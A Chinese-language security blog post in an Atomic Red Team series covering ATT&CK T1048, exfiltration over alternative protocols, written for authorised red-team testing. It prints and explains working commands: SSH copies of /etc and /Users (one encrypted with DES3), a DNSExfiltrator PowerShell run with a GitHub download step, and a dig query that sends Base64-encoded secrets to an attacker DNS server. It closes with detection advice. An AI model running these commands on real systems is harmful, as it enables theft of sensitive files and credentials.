本文章为Atomic Red Team系列文章,本篇文章内容为T1048-利用替代协议进行数据渗出。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
来自ATT&CK的描述
攻击者可能会通过与现有命令控制通道不同的协议来窃取数据。数据也可能会被发送到主命令控制服务器之外的其他网络位置。
替代协议包括FTP、SMTP、HTTP/S、DNS、SMB,或任何未被用作主要命令控制通道的其他网络协议。攻击者可能还会选择对这些替代通道进行加密和/或混淆处理。
通过替代协议进行数据渗出可以使用各种常见的操作系统工具,如Net/SMB或FTP(引用:Palo Alto OilRig,2016年10月)。在macOS和Linux系统上,可以使用curl
工具调用诸如HTTP/S或FTP/S等协议,从系统中渗出数据(引用:《20种macOS常用工具和技术》)。
许多基础设施即服务(IaaS)和软件即服务(SaaS)平台(如微软Exchange、微软SharePoint、GitHub和亚马逊AWS S3)支持通过网络控制台或云API直接下载文件、电子邮件、源代码和其他敏感信息。
原子测试
-
原子测试#1 - 通过SSH进行替代协议数据渗出 -
原子测试#2 - 通过SSH进行替代协议数据渗出 -
原子测试#3 - DNS数据渗出(基于DNS-over-HTTPS) -
原子测试#4 - 使用dig命令通过DNS查询渗出数据
01
—
通过SSH进行替代协议数据渗出
输入一个域名,测试通过SSH进行的数据渗出,从远程到本地。执行成功后,sh将启动ssh连接到远程域名(默认:target.example.com)并写入一个tar.gz文件。
支持平台: macOS、Linux
自动生成的GUID: f6786cc8-beda-4915-a4d6-ac2f193bb988
输入:
|
|
|
|
---|---|---|---|
|
|
|
|
攻击命令: 使用sh
运行!
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
详细分析 ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
命令:
整体功能
此命令借助 SSH 协议登录到远程主机,将远程主机 /etc
目录下的所有文件和子目录进行压缩,然后把压缩后的内容传输到本地,并保存为 ./etc.tar.gz
文件。
命令拆分解析
1. ssh #{domain}
ssh
是一个用于安全远程登录和执行命令的工具。 #{domain}
是一个占位符,实际使用时要替换成具体的远程主机域名或者 IP 地址。此部分的作用是通过 SSH 协议连接到指定的远程主机。
2. "(cd /etc && tar -zcvf - *)"
这部分是在远程主机上执行的命令,用双引号包裹起来当作一个整体传给 ssh
命令。
cd /etc
:把当前工作目录切换到 /etc
目录,该目录一般存放系统和应用程序的配置文件。&&
:逻辑与运算符,意味着只有当 cd /etc
命令成功执行(返回状态码为 0)时,才会执行后面的tar -zcvf - *
命令。tar -zcvf - *
: tar
是用于文件打包和压缩的工具。 -z
表示使用 gzip
算法进行压缩。-c
表示创建一个新的归档文件。 -v
表示在操作过程中显示详细信息。 -f -
表示将归档文件输出到标准输出(stdout),而不是保存为一个具体的文件。 *
代表当前目录(即 /etc
目录)下的所有文件和子目录。
3. > ./etc.tar.gz
> 是重定向符号,它的作用是把前面命令(也就是远程主机上
tar
命令输出到标准输出的内容)重定向到本地的./etc.tar.gz
文件中。
注意事项
- 权限问题
要保证在远程主机上有足够的权限访问 /etc
目录及其内容。- 网络问题
要确保本地主机和远程主机之间的网络连接正常,且 SSH 服务在远程主机上正常运行。 - 文件名问题
若本地已经存在 ./etc.tar.gz
文件,该命令会直接覆盖此文件。- 操作系统
最好使用同类型支持 .tar.gz
格式的操作系统,实测使用windows执行命令会失败,使用kali则正常
02
—
通过SSH进行替代协议数据渗出
输入一个域名,测试通过SSH进行的数据渗出,从本地到远程。执行成功后,tar将压缩/Users/*目录,并对输出文件Users.tar.gz.enc
进行密码保护。
支持平台: macOS、Linux
自动生成的GUID: 7c3cb337-35ae-4d06-bf03-3032ed2ec268
输入:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
攻击命令: 使用sh
运行!
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
# Example
# 压缩加密
tar czpf - /Users/* | openssl des3 -salt -pass pass:123 | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
# 解密
openssl des3 -d -salt -pass pass:123 -in out.tar.gz.enc | tar zxpf -
详细分析 tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
命令:
整体功能
此命令的主要功能是将本地 /Users
目录下的所有文件和子目录进行打包压缩,接着使用 openssl
以 DES3
算法对压缩包进行加密,最后通过 ssh
协议将加密后的文件传输到远程主机,并保存为 /Users.tar.gz.enc
。
命令拆分解析
1. tar czpf - /Users/*
tar
:这是一个用于文件打包和压缩的工具。 -c
:代表创建一个新的归档文件。 -z
:意味着使用 gzip
算法对归档文件进行压缩。-p
:用于保留文件的权限信息。 -f -
:将归档文件输出到标准输出(stdout),而非保存为具体的文件。 /Users/*
:表示要打包压缩 /Users
目录下的所有文件和子目录。
2. |
这是管道符号,其作用是把前一个命令(tar czpf - /Users/*
)的标准输出作为后一个命令(openssl des3 -salt -pass #{password}
)的标准输入。
3. openssl des3 -salt -pass #{password}
openssl
:是一个功能强大的加密工具包,可用于各种加密、解密和安全相关的操作。 des3
:指使用 DES3
(Triple DES)对称加密算法对输入的数据进行加密。DES3
是一种比较常用的对称加密算法。-salt
:在加密过程中使用盐值,盐值能增强加密的安全性,使相同的明文在不同盐值下加密后的结果不同。 -pass #{password}
:这里的 #{password}
是一个占位符,实际使用时要替换成具体的密码,此密码用于DES3
加密的密钥。详细使用方法可参考openssl文档
4. |
同样是管道符号,把 openssl
加密后的输出作为后续 ssh
命令的输入。
5. ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
ssh
:用于安全远程登录和执行命令的工具。 #{user_name}@#{domain}
: #{user_name}
是占位符,需替换成远程主机的用户名;#{domain}
也是占位符,要替换成远程主机的域名或 IP 地址。这部分的作用是通过 SSH 协议连接到指定的远程主机。'cat > /Users.tar.gz.enc'
:在远程主机上执行的命令。 cat
命令接收标准输入的数据,然后通过重定向符号>
将这些数据保存到/Users.tar.gz.enc
文件中。
注意事项
- 权限问题
要保证在本地有足够的权限访问 /Users
目录及其内容,在远程主机上有足够的权限在指定路径下创建和写入文件。- 网络问题
确保本地主机和远程主机之间的网络连接正常,且远程主机的 SSH 服务正常运行。 - 密码安全
使用的密码应足够复杂和安全,避免使用容易被破解的密码。同时,要妥善保管密码,防止泄露。 - 文件覆盖
若远程主机上已经存在 /Users.tar.gz.enc
文件,该命令会直接覆盖此文件。
提前《T1041 - 通过C2通道渗出数据》的文章中曾提到过DNS子域名进行文本传输的方法,参考如下:
模拟攻击者利用DNS隧道技术,通过命令与控制(C2)通道渗出数据。
。,公众号:网空安全手札T1041 - 通过C2通道渗出数据
本文补充2个方法和工具。
03
—
DNS数据渗出(基于DNS-over-HTTPS)
DNSExfiltrator工具可通过DNS请求隐蔽通道传输(渗出)文件。这本质上是一个数据泄露测试工具,允许通过隐蔽通道渗出数据。!!!如果没有一个由你控制且包含A记录和NS记录的域名,测试将会失败!!! 更多详细信息请查看这个GitHub页面:https://github.com/Arno0x/DNSExfiltrator
支持平台: Windows
自动生成的GUID: c943d285-ada3-45ca-b3aa-7cd6500c6a48
输入:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-b32 以使用Base32编码数据。某些DNS解析器可能需要此设置 |
|
攻击命令: 使用powershell
运行!
Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
依赖项: 使用powershell
运行!
描述: DNSExfiltrator的PowerShell文件必须存在于指定位置(#{ps_module})的磁盘上。
检查先决条件命令:
if (Test-Path "#{ps_module}") {exit 0} else {exit 1}
获取先决条件命令:
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-Null
IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"
04
—
使用dig命令通过DNS查询渗出数据
此测试展示了攻击者如何通过将敏感信息编码为子域名(使用Base64编码),并通过dig命令向受控制的DNS服务器发出DNS查询来渗出敏感信息。
支持平台: macOS、Linux
自动生成的GUID: a27916da-05f2-4316-a3ee-feec67a437be
输入:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
攻击命令: 使用bash
运行!
dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com
详细分析 dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com
命令:
整体功能
该命令主要借助 dig
工具向指定的 DNS 服务器发起 DNS 查询请求。在查询过程中,会将敏感信息进行 Base64 编码后作为子域名,附加到 google.com
之前,以此实现信息的隐蔽传输。这种方式可能会被用于恶意的数据外发,因为攻击者可以利用 DNS 协议绕过部分网络限制来传输信息。
命令拆分解析
1. dig
dig
(Domain Information Groper)是一个功能强大的 DNS 查询工具,常用于测试和诊断 DNS 相关的问题。它可以向 DNS 服务器发送各种类型的查询请求,并返回详细的查询结果。
2. @#{attacker_dns_server}
@
符号用于指定要查询的 DNS 服务器。 #{attacker_dns_server}
是一个占位符,实际使用时需要替换为攻击者控制的 DNS 服务器的 IP 地址或域名。这意味着查询请求将被发送到该指定的 DNS 服务器。
3. -p #{dns_port}
-p
选项用于指定 DNS 查询请求所使用的端口号。 #{dns_port}
是一个占位符,需替换为具体的端口号。默认情况下,DNS 查询使用的是 53 端口,但攻击者可能会使用其他端口来绕过一些安全策略。
4. $(echo "#{secret_info}" | base64).google.com
$(...)
是命令替换语法,它会先执行括号内的命令,并将命令的输出结果替换到原命令中。 echo "#{secret_info}"
#{secret_info}
是占位符,需要替换为实际的敏感信息。echo
命令用于输出该敏感信息。|
管道符号,将 echo
命令的输出作为base64
命令的输入。base64
对输入的敏感信息进行 Base64 编码。Base64 编码是一种将二进制数据转换为可打印 ASCII 字符的编码方式,常用于在文本协议中传输二进制数据。 .google.com
将 Base64 编码后的敏感信息作为子域名,与 google.com
组合成一个完整的域名,例如encoded_secret.google.com
。dig
命令将对这个组合后的域名发起 DNS 查询请求。
安全风险
- 数据泄露
这种方式可以将敏感信息通过 DNS 查询请求隐蔽地发送到攻击者控制的 DNS 服务器,从而导致数据泄露。 - 绕过限制
由于 DNS 协议通常是允许通过网络防火墙的,攻击者可以利用这一点绕过部分网络访问限制,实现数据的外发。
防范建议
- 网络监控
对 DNS 查询流量进行监控,检测异常的 DNS 查询请求,特别是包含大量随机字符或 Base64 编码数据的查询。 - DNS 过滤
配置 DNS 过滤规则,阻止向可疑的 DNS 服务器发送查询请求,或者限制查询的域名范围。 - 安全审计
定期进行安全审计,检查系统中是否存在异常的 DNS 查询行为。
依赖项: 使用bash
运行!
描述: dig命令
检查先决条件命令:
which dig
获取先决条件命令:
which apt && sudo apt update && sudo apt install -y bind9-dnsutils || which yum && sudo yum install -y bind-utils || which dnf && sudo dnf install -y bind-utils || which apk && sudo apk add bind-tools || which pkg && sudo pkg update && sudo pkg install -y bind-tools || which brew && brew update && brew install --quiet bind
原文始发于微信公众号(网空安全手札):T1048-通过替代协议进行数据渗出
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论